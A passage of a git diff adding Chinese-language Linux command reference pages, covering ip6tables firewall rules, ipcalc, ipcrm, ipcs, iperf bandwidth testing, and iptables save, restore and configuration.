RH-Firewall-1-INPUT -m tcp -p tcp --dport 22 -j ACCEPT +-A RH-Firewall-1-INPUT -j reject --reject-with icmp6-adm-prohibited +COMMIT +``` + +与 IPv4 的 iptables 规则类似,但又不完全相同。 + +要开启 80 端口(HTTP 服务器端口),在 COMMIT 一行之前添加如下规则: + +``` +-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 80 -j ACCEPT +``` + +`-p tcp`表示仅针对 tcp 协议的通信。`--dport`指定端口号。 + +要开启 53 端口(DNS 服务器端口),在 COMMIT 一行之前添加如下规则: + +``` +-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 53 -j ACCEPT +-A RH-Firewall-1-INPUT -m udp -p tcp --dport 53 -j ACCEPT +``` + +同时针对 tcp 和 udp 协议开启 53 端口。 + +要开启 443 端口,在 COMMIT 一行之前添加如下规则: + +``` +-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 443 -j ACCEPT +``` + +要开启 25 端口(SMTP 邮件服务器端口),在 COMMIT 一行之前添加如下规则: + +``` +-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 25 -j ACCEPT +``` + +对于那些没有特定规则与之匹配的数据包,可能是我们不想要的,多半是有问题的。我们可能也希望在丢弃(DROP)之前记录它们。此时,可以将最后一行: + +``` +-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp6-adm-prohibited +COMMIT +``` + +改为: + +``` +-A RH-Firewall-1-INPUT -j LOG +-A RH-Firewall-1-INPUT -j DROP +COMMIT +``` + +保存并关闭该文件。然后重新启动 ip6tables 防火墙: + +``` +# service ip6tables restart +``` + +然后重新查看 ip6tables 规则,可以看到如下所示的输出: + +``` +# ip6tables -vnL --line-numbers +``` + +输出示例: + +``` +Chain INPUT (policy ACCEPT 0 packets, 0 bytes) +num pkts bytes target prot opt in out source destination +1 42237 3243K RH-Firewall-1-INPUT all * * ::/0 ::/0 +Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) +num pkts bytes target prot opt in out source destination +1 0 0 RH-Firewall-1-INPUT all * * ::/0 ::/0 +Chain OUTPUT (policy ACCEPT 12557 packets, 2042K bytes) +num pkts bytes target prot opt in out source destination +Chain RH-Firewall-1-INPUT (2 references) +num pkts bytes target prot opt in out source destination +1 6 656 ACCEPT all lo * ::/0 ::/0 +2 37519 2730K ACCEPT icmpv6 * * ::/0 ::/0 +3 0 0 ACCEPT esp * * ::/0 ::/0 +4 0 0 ACCEPT ah * * ::/0 ::/0 +5 413 48385 ACCEPT udp * * ::/0 ff02::fb/128 udp dpt:5353 +6 0 0 ACCEPT udp * * ::/0 ::/0 udp dpt:631 +7 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:631 +8 173 79521 ACCEPT udp * * ::/0 ::/0 udp dpts:32768:61000 +9 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpts:32768:61000 flags:!0x16/0x02 +10 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:22 +11 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:80 +12 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:53 +13 4108 380K ACCEPT udp * * ::/0 ::/0 udp dpt:53 +14 18 4196 REJECT all * * ::/0 ::/0 +``` + + **IPv6 私有 IP** + +IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6 的地址非常丰富,不再需要使用类似 NAT 等协议的私有网络。这样一来,所有的内部主机都可以拥有公网 IP 而直接连接到互联网,也就同时暴露于互联网上的各种威胁之中了。那么,如何配置 IPv6 防火墙使其默认将除了 ping6 请求之外的所有输入数据包都丢弃呢?可以使用FC00::/7 前缀来标识本地 IPv6 单播地址。 + + **允许特定的 ICMPv6 通信** + +使用 IPv6 的时候需要允许比 IPv4 更多类型的 ICMP 通信以保证路由和 IP 地址自动配置等功能正常工作。有时候,如果你的规则设置太过苛刻,可能都无法分配到正确的 IPv6 地址。当然,不使用 DHCP 而是手动配置 IP 地址的除外。 + +下面是一些比较常见的 ipv6-icmp 配置实例: + +``` +:ICMPv6 - [0:0] +# Approve certain ICMPv6 types and all outgoing ICMPv6 +# http://forum.linode.com/viewtopic.php?p=39840#39840 +-A INPUT -p icmpv6 -j ICMPv6 +-A ICMPv6 -p icmpv6 --icmpv6-type echo-request -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-solicitation -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-advertisement -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type redirect -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 141 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 142 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 148 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 149 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 130 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 131 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 132 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 143 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 151 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 152 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 153 -s fe80::/10 -j ACCEPT +-A ICMPv6 -j RETURN +-A OUTPUT -p icmpv6 -j ACCEPT +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ipcalc.md b/LearnShell/LinuxCommands/ipcalc.md new file mode 100644 index 0000000..9f39096 --- /dev/null +++ b/LearnShell/LinuxCommands/ipcalc.md @@ -0,0 +1,51 @@ +ipcalc +=== + +简单的IP地址计算器 + +## 补充说明 + +**ipcalc命令** 是一个简单的ip地址计算器,可以完成简单的IP地址计算任务。 + +### 语法 + +``` +ipcalc(选项) +``` + +### 选项 + +``` +-b:由给定的IP地址和网络掩码计算出广播地址; +-h:显示给定UP地址所对应的主机名; +-m:由给定的IP地址计算器网络掩码; +-p:显示给定的掩码或IP地址的前缀; +-n:由给定的IP地址和网络掩码计算网络地址; +-s:安静模式; +--help:显示帮助信息。 +``` + +### 实例 + +``` +[root@localhost ~]# ipcalc -p 192.168.2.1 255.255.255.0 +PREFIX=24 + +[root@localhost ~]# ipcalc -n 192.168.2.1 255.255.255.0 +NETWORK=192.168.2.0 + +[root@localhost ~]# ipcalc -h 127.0.0.1 +hostname=localhost.localdomain + +[root@localhost ~]# ipcalc -m 192.168.2.1 +NETMASK=255.255.255.0 + +[root@localhost ~]# ipcalc -pnbm 192.168.2.1 255.255.255.0 +NETMASK=255.255.255.0 +PREFIX=24 +BROADCAST=192.168.2.255 +NETWORK=192.168.2.0 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ipcrm.md b/LearnShell/LinuxCommands/ipcrm.md new file mode 100644 index 0000000..71cc26f --- /dev/null +++ b/LearnShell/LinuxCommands/ipcrm.md @@ -0,0 +1,38 @@ +ipcrm +=== + +删除消息队列、信号集、或者共享内存标识 + +## 补充说明 + +**ipcrm命令** 用来删除一个或更多的消息队列、信号量集或者共享内存标识。 + +### 语法 + +``` +ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ] +``` + +### 选项 + +``` +-m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。 +-M SharedMemoryKey 删除用关键字 SharedMemoryKey 创建的共享内存标识。与其相关的共享内存段和数据结构段都将在最后一次拆离操作后删除。 +-q MessageID 删除消息队列标识 MessageID 和与其相关的消息队列和数据结构。 +-Q MessageKey 删除由关键字 MessageKey 创建的消息队列标识和与其相关的消息队列和数据结构。 +-s SemaphoreID 删除信号量标识 SemaphoreID 和与其相关的信号量集及数据结构。 +-S SemaphoreKey 删除由关键字 SemaphoreKey 创建的信号标识和与其相关的信号量集和数据结构。 +``` + +msgctl、shmctl 和 semctl 子例程提供了删除操作的细节。标识和关键字可以用 ipcs 命令找到。 + +### 示例 + +如果要删除和 SharedMemoryID 18602 相关的共享内存段,请输入: + +``` +ipcrm -m 18602 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ipcs.md b/LearnShell/LinuxCommands/ipcs.md new file mode 100644 index 0000000..b8aa300 --- /dev/null +++ b/LearnShell/LinuxCommands/ipcs.md @@ -0,0 +1,38 @@ +ipcs +=== + +分析消息队列共享内存和信号量 + +## 补充说明 + +**ipcs命令** 用于报告Linux中进程间通信设施的状态,显示的信息包括消息列表、共享内存和信号量的信息。 + +### 语法 + +``` +ipcs(选项) +``` + +### 选项 + +``` +-a:显示全部可显示的信息; +-q:显示活动的消息队列信息; +-m:显示活动的共享内存信息; +-s:显示活动的信号量信息。 +``` + +### 实例 + +``` +ipcs -a +------ Shared Memory Segments -------- +key shmid owner perms bytes nattch status +0x7401833d 2654208 root 600 4 0 +0x00000000 3145729 root 600 4194304 9 dest +0x7401833c 2621442 root 600 4 0 +0xd201012b 3080195 root 600 1720 2 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/iperf.md b/LearnShell/LinuxCommands/iperf.md new file mode 100644 index 0000000..56c090c --- /dev/null +++ b/LearnShell/LinuxCommands/iperf.md @@ -0,0 +1,399 @@ +iperf +=== + +网络性能测试工具 + +## 补充说明 + +**iperf命令** 是一个网络性能测试工具。iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽,具有多种参数和UDP特性。iperf可以报告带宽,延迟抖动和数据包丢失。利用iperf这一特性,可以用来测试一些网络设备如路由器,防火墙,交换机等的性能。 + +iperf分为两种版本,Unix/Linux版和Windows版,Unix/Linux版更新比较快,版本最新。Windows版更新慢。Windows版的iperf叫jperf,或者xjperf。jperf是在iperf基础上开发了更好的UI和新的功能。 + +Linux版本下载地址:http://code.google.com/p/iperf/downloads/list + +### 安装iperf + +对于windows版的iperf,直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可,对于linux版的iperf,请使用如下命令安装: + +``` +gunzip -c iperf-.tar.gz | tar -xvf - +cd iperf- +./configure +make +make install +``` + +### 选项 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
命令行选项描述
客户端与服务器共用选项
-f, --format [bkmaBKMA]格式化带宽数输出。支持的格式有: +'b' = bits/sec 'B' = Bytes/sec +'k' = Kbits/sec 'K' = KBytes/sec +'m' = Mbits/sec 'M' = MBytes/sec +'g' = Gbits/sec 'G' = GBytes/sec +'a' = adaptive bits/sec 'A' = adaptive Bytes/sec +自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。 +注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。
-i, --interval #设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。
-l, --len #[KM]设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。
-m, --print_mss输出TCP MSS值(通过TCP_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况
-p, --port #设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。
-u, --udp使用UDP方式而不是TCP方式。参看-b选项。
-w, --window #[KM]设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。
-B, --bind host绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。
-C, --compatibility与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。
-M, --mss #ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。
-N, --nodelay设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。
-V (from v1.6 or higher)绑定一个IPv6地址。 +服务端:$ iperf -s –V +客户端:$ iperf -c -V +注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。
服务器端专用选项
-s, --serverIperf服务器模式
-D (v1.2或更高版本)Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。
-R(v1.2或更高版本,仅用于Windows)卸载Iperf服务(如果它在运行)。
-o(v1.2或更高版本,仅用于Windows)重定向输出到指定文件
-c, --client host如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。
-P, --parallel #服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。
客户端专用选项
-b, --bandwidth #[KM]UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。
-c, --client host运行Iperf的客户端模式,连接到指定的Iperf服务器端。
-d, --dualtest运行双测试模式。这将使服务器端反向连接到客户端,使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。
-n, --num #[KM]传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。-n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。
-r, --tradeoff往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。
-t, --time #设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。
-L, --listenport #指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。
-P, --parallel #线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。
-S, --tos #出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,或以"0"开始的8进制数或10进制数。 +例如,16进制'0x10' = 8进制'020' = 十进制'16'。TOS值1349就是: +IPTOS_LOWDELAY minimize delay 0x10 +IPTOS_THROUGHPUT maximize throughput 0x08 +IPTOS_RELIABILITY maximize reliability 0x04 +IPTOS_LOWCOST minimize cost 0x02
-T, --ttl #出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。
-F (from v1.2 or higher)使用特定的数据流测量带宽,例如指定的文件。 +$ iperf -c -F
-I (from v1.2 or higher)与-F一样,由标准输入输出文件输入数据。
杂项
-h, --help显示命令行参考并退出 。
-v, --version显示版本信息和编译信息并退出。
+ +### 实例 + +带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试,例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用`-b 100M`进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。 + + **UDP模式** + +服务器端: + +``` +iperf -u -s +``` + +客户端: + +``` +iperf -u -c 192.168.1.1 -b 100M -t 60 +``` + +在udp模式下,以100Mbps为数据发送速率,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。 + +``` +iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60 +``` + +客户端同时向服务器端发起30个连接线程,以5Mbps为数据发送速率。 + +``` +iperf -u -c 192.168.1.1 -b 100M -d -t 60 +``` + +以100M为数据发送速率,进行上下行带宽测试。 + + **TCP模式** + +服务器端: + +``` +iperf -s +``` + +客户端: + +``` +iperf -c 192.168.1.1 -t 60 +``` + +在tcp模式下,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。 + +``` +iperf -c 192.168.1.1 -P 30 -t 60 +``` + +客户端同时向服务器端发起30个连接线程。 + +``` +iperf -c 192.168.1.1 -d -t 60 +``` + +进行上下行带宽测试。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/iptables-restore.md b/LearnShell/LinuxCommands/iptables-restore.md new file mode 100644 index 0000000..50fe6bb --- /dev/null +++ b/LearnShell/LinuxCommands/iptables-restore.md @@ -0,0 +1,32 @@ +iptables-restore +=== + +还原iptables表的配置 + +## 补充说明 + +**iptables-restore命令** 用来还原iptables-save命令所备份的iptables配置。 + +### 语法 + +``` +iptables-restor(选项) +``` + +### 选项 + +``` +-c:指定在还原iptables表时候,还原当前的数据包计数器和字节计数器的值; +-t:指定要还原表的名称。 +``` + +### 实例 + +``` +iptables-restor < iptables.bak +``` + +iptables.bak是iptables-save命令所备份的文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/iptables-save.md b/LearnShell/LinuxCommands/iptables-save.md new file mode 100644 index 0000000..74742b7 --- /dev/null +++ b/LearnShell/LinuxCommands/iptables-save.md @@ -0,0 +1,43 @@ +iptables-save +=== + +备份iptables的表配置 + +## 补充说明 + +**iptables-save命令** 用于将linux内核中的iptables表导出到标准输出设备商,通常,使用shell中I/O重定向功能将其输出保存到指定文件中。 + +### 语法 + +``` +iptables-save(选项) +``` + +### 选项 + +``` +-c:指定要保存的iptables表时,保存当权的数据包计算器和字节计数器的值; +-t:指定要保存的表的名称。 +``` + +### 实例 + +``` +[root@localhost ~]# iptables-save -t filter > iptables.bak +[root@localhost ~]# cat iptables.bak +# Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013 +*filter +:INPUT DROP [48113:2690676] +:FORWARD accept [0:0] +:OUTPUT ACCEPT [3381959:1818595115] +-A INPUT -i lo -j ACCEPT +-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT +-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT +-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT +-A INPUT -p icmp -j ACCEPT +-A OUTPUT -o lo -j ACCEPT +COMMIT +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/iptables.md b/LearnShell/LinuxCommands/iptables.md new file mode 100644 index 0000000..89359a2 --- /dev/null +++ b/LearnShell/LinuxCommands/iptables.md @@ -0,0 +1,397 @@ +iptables +=== + +Linux上常用的防火墙软件 + +## 补充说明 + +**iptables命令** 是Linux上常用的防火墙软件,是netfilter项目的一部分。可以直接配置,也可以通过许多前端和图形界面配置。 + + + +- [补充说明](#补充说明) + - [语法](#语法) + - [选项](#选项) +- [基本参数](#基本参数) + - [命令选项输入顺序](#命令选项输入顺序) + - [工作机制](#工作机制) + - [防火墙的策略](#防火墙的策略) + - [防火墙的策略](#防火墙的策略-1) + - [实例](#实例) + - [空当前的所有规则和计数](#空当前的所有规则和计数) + - [配置允许ssh端口连接](#配置允许ssh端口连接) + - [允许本地回环地址可以正常使用](#允许本地回环地址可以正常使用) + - [设置默认的规则](#设置默认的规则) + - [配置白名单](#配置白名单) + - [开启相应的服务端口](#开启相应的服务端口) + - [保存规则到配置文件中](#保存规则到配置文件中) + - [列出已设置的规则](#列出已设置的规则) + - [清除已有规则](#清除已有规则) + - [删除已添加的规则](#删除已添加的规则) + - [开放指定的端口](#开放指定的端口) + - [屏蔽IP](#屏蔽ip) + - [指定数据包出去的网络接口](#指定数据包出去的网络接口) + - [查看已添加的规则](#查看已添加的规则) + - [启动网络转发规则](#启动网络转发规则) + - [端口映射](#端口映射) + - [字符串匹配](#字符串匹配) + - [阻止Windows蠕虫的攻击](#阻止windows蠕虫的攻击) + - [防止SYN洪水攻击](#防止syn洪水攻击) + + + +### 语法 + +``` +iptables(选项)(参数) +``` + +### 选项 + +```bash +-t, --table table 对指定的表 table 进行操作, table 必须是 raw, nat,filter,mangle 中的一个。如果不指定此选项,默认的是 filter 表。 + +# 通用匹配:源地址目标地址的匹配 +-p:指定要匹配的数据包协议类型; +-s, --source [!] address[/mask] :把指定的一个/一组地址作为源地址,按此规则进行过滤。当后面没有 mask 时,address 是一个地址,比如:192.168.1.1;当 mask 指定时,可以表示一组范围内的地址,比如:192.168.1.0/255.255.255.0。 +-d, --destination [!] address[/mask] :地址格式同上,但这里是指定地址为目的地址,按此进行过滤。 +-i, --in-interface [!] <网络接口name> :指定数据包的来自来自网络接口,比如最常见的 eth0 。注意:它只对 INPUT,FORWARD,PREROUTING 这三个链起作用。如果没有指定此选项, 说明可以来自任何一个网络接口。同前面类似,"!" 表示取反。 +-o, --out-interface [!] <网络接口name> :指定数据包出去的网络接口。只对 OUTPUT,FORWARD,POSTROUTING 三个链起作用。 + +# 查看管理命令 +-L, --list [chain] 列出链 chain 上面的所有规则,如果没有指定链,列出表上所有链的所有规则。 + +# 规则管理命令 +-A, --append chain rule-specification 在指定链 chain 的末尾插入指定的规则,也就是说,这条规则会被放到最后,最后才会被执行。规则是由后面的匹配来指定。 +-I, --insert chain [rulenum] rule-specification 在链 chain 中的指定位置插入一条或多条规则。如果指定的规则号是1,则在链的头部插入。这也是默认的情况,如果没有指定规则号。 +-D, --delete chain rule-specification -D, --delete chain rulenum 在指定的链 chain 中删除一个或多个指定规则。 +-R num:Replays替换/修改第几条规则 + +# 链管理命令(这都是立即生效的) +-P, --policy chain target :为指定的链 chain 设置策略 target。注意,只有内置的链才允许有策略,用户自定义的是不允许的。 +-F, --flush [chain] 清空指定链 chain 上面的所有规则。如果没有指定链,清空该表上所有链的所有规则。 +-N, --new-chain chain 用指定的名字创建一个新的链。 +-X, --delete-chain [chain] :删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。如果没有指定链名,则会删除该表中所有非内置的链。 +-E, --rename-chain old-chain new-chain :用指定的新名字去重命名指定的链。这并不会对链内部照成任何影响。 +-Z, --zero [chain] :把指定链,或者表中的所有链上的所有计数器清零。 + +-j, --jump target <指定目标> :即满足某条件时该执行什么样的动作。target 可以是内置的目标,比如 ACCEPT,也可以是用户自定义的链。 +-h:显示帮助信息; +``` + +## 基本参数 + +| 参数 | 作用 | +| ---- | ---- | +| -P | 设置默认策略:iptables -P INPUT (DROP|ACCEPT) | +| -F | 清空规则链 | +| -L | 查看规则链 | +| -A | 在规则链的末尾加入新规则 | +| -I | num 在规则链的头部加入新规则 | +| -D | num 删除某一条规则 | +| -s | 匹配来源地址IP/MASK,加叹号"!"表示除这个IP外。 | +| -d | 匹配目标地址 | +| -i | 网卡名称 匹配从这块网卡流入的数据 | +| -o | 网卡名称 匹配从这块网卡流出的数据 | +| -p | 匹配协议,如tcp,udp,icmp | +| --dport num | 匹配目标端口号 | +| --sport num | 匹配来源端口号 | + +#### 命令选项输入顺序 + +``` +iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作 +``` + +#### 工作机制 + +规则链名包括(也被称为五个钩子函数(hook functions)): + +- **INPUT链** :处理输入数据包。 +- **OUTPUT链** :处理输出数据包。 +- **PORWARD链** :处理转发数据包。 +- **PREROUTING链** :用于目标地址转换(DNAT)。 +- **POSTOUTING链** :用于源地址转换(SNAT)。 + +#### 防火墙的策略 + +防火墙策略一般分为两种,一种叫`通`策略,一种叫`堵`策略,通策略,默认门是关着的,必须要定义谁能进。堵策略则是,大门是洞开的,但是你必须有身份认证,否则不能进。所以我们要定义,让进来的进来,让出去的出去,`所以通,是要全通,而堵,则是要选择`。当我们定义的策略的时候,要分别定义多条功能,其中:定义数据包中允许或者不允许的策略,filter过滤的功能,而定义地址转换的功能的则是nat选项。为了让这些功能交替工作,我们制定出了“表”这个定义,来定义、区分各种不同的工作功能和处理方式。 + +我们现在用的比较多个功能有3个: + +1. filter 定义允许或者不允许的,只能做在3个链上:INPUT ,FORWARD ,OUTPUT +2. nat 定义地址转换的,也只能做在3个链上:PREROUTING ,OUTPUT ,POSTROUTING +3. mangle功能:修改报文原数据,是5个链都可以做:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING + +我们修改报文原数据就是来修改TTL的。能够实现将数据包的元数据拆开,在里面做标记/修改内容的。而防火墙标记,其实就是靠mangle来实现的。 + +小扩展: + +- 对于filter来讲一般只能做在3个链上:INPUT ,FORWARD ,OUTPUT +- 对于nat来讲一般也只能做在3个链上:PREROUTING ,OUTPUT ,POSTROUTING +- 而mangle则是5个链都可以做:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING + +iptables/netfilter(这款软件)是工作在用户空间的,它可以让规则进行生效的,本身不是一种服务,而且规则是立即生效的。而我们iptables现在被做成了一个服务,可以进行启动,停止的。启动,则将规则直接生效,停止,则将规则撤销。 + +iptables还支持自己定义链。但是自己定义的链,必须是跟某种特定的链关联起来的。在一个关卡设定,指定当有数据的时候专门去找某个特定的链来处理,当那个链处理完之后,再返回。接着在特定的链中继续检查。 + +注意:规则的次序非常关键,`谁的规则越严格,应该放的越靠前`,而检查规则的时候,是按照从上往下的方式进行检查的。 + +#### 防火墙的策略 + +防火墙策略一般分为两种,一种叫`通`策略,一种叫`堵`策略,通策略,默认门是关着的,必须要定义谁能进。堵策略则是,大门是洞开的,但是你必须有身份认证,否则不能进,`所以通,是要全通,而堵,则是要选择`。 + +表名包括: + +- **raw** :高级功能,如:网址过滤。 +- **mangle** :数据包修改(QOS),用于实现服务质量。 +- **net** :地址转换,用于网关路由器。 +- **filter** :包过滤,用于防火墙规则。 + +动作包括: + +- **ACCEPT** :接收数据包。 +- **DROP** :丢弃数据包。 +- **REDIRECT** :重定向、映射、透明代理。 +- **SNAT** :源地址转换。 +- **DNAT** :目标地址转换。 +- **MASQUERADE** :IP伪装(NAT),用于ADSL。 +- **LOG** :日志记录。 + +```bash + ┏╍╍╍╍╍╍╍╍╍╍╍╍╍╍╍┓ + ┌───────────────┐ ┃ Network ┃ + │ table: filter │ ┗━━━━━━━┳━━━━━━━┛ + │ chain: INPUT │◀────┐ │ + └───────┬───────┘ │ ▼ + │ │ ┌───────────────────┐ + ┌ ▼ ┐ │ │ table: nat │ + │local process│ │ │ chain: PREROUTING │ + └ ┘ │ └─────────┬─────────┘ + │ │ │ + ▼ │ ▼ ┌─────────────────┐ +┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅ │ ┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅ │table: nat │ + Routing decision └───── outing decision ─────▶│chain: PREROUTING│ +┅┅┅┅┅┅┅┅┅┳┅┅┅┅┅┅┅┅┅ ┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅ └────────┬────────┘ + │ │ + ▼ │ + ┌───────────────┐ │ + │ table: nat │ ┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅ │ + │ chain: OUTPUT │ ┌─────▶ outing decision ◀──────────────┘ + └───────┬───────┘ │ ┅┅┅┅┅┅┅┅┳┅┅┅┅┅┅┅┅ + │ │ │ + ▼ │ ▼ + ┌───────────────┐ │ ┌────────────────────┐ + │ table: filter │ │ │ chain: POSTROUTING │ + │ chain: OUTPUT ├────┘ └──────────┬─────────┘ + └───────────────┘ │ + ▼ + ┏╍╍╍╍╍╍╍╍╍╍╍╍╍╍╍┓ + ┃ Network ┃ + ┗━━━━━━━━━━━━━━━┛ +``` + + +### 实例 + +#### 空当前的所有规则和计数 + +```bash +iptables -F # 清空所有的防火墙规则 +iptables -X # 删除用户自定义的空链 +iptables -Z # 清空计数 +``` + +#### 配置允许ssh端口连接 + +```bash +iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT +# 22为你的ssh端口, -s 192.168.1.0/24表示允许这个网段的机器来连接,其它网段的ip地址是登陆不了你的机器的。 -j ACCEPT表示接受这样的请求 +``` + +#### 允许本地回环地址可以正常使用 + +```bash +iptables -A INPUT -i lo -j ACCEPT +#本地圆环地址就是那个127.0.0.1,是本机上使用的,它进与出都设置为允许 +iptables -A OUTPUT -o lo -j ACCEPT +``` + +#### 设置默认的规则 + +```bash +iptables -P INPUT DROP # 配置默认的不让进 +iptables -P FORWARD DROP # 默认的不允许转发 +iptables -P OUTPUT ACCEPT # 默认的可以出去 +``` + +#### 配置白名单 + +```bash +iptables -A INPUT -p all -s 192.168.1.0/24 -j ACCEPT # 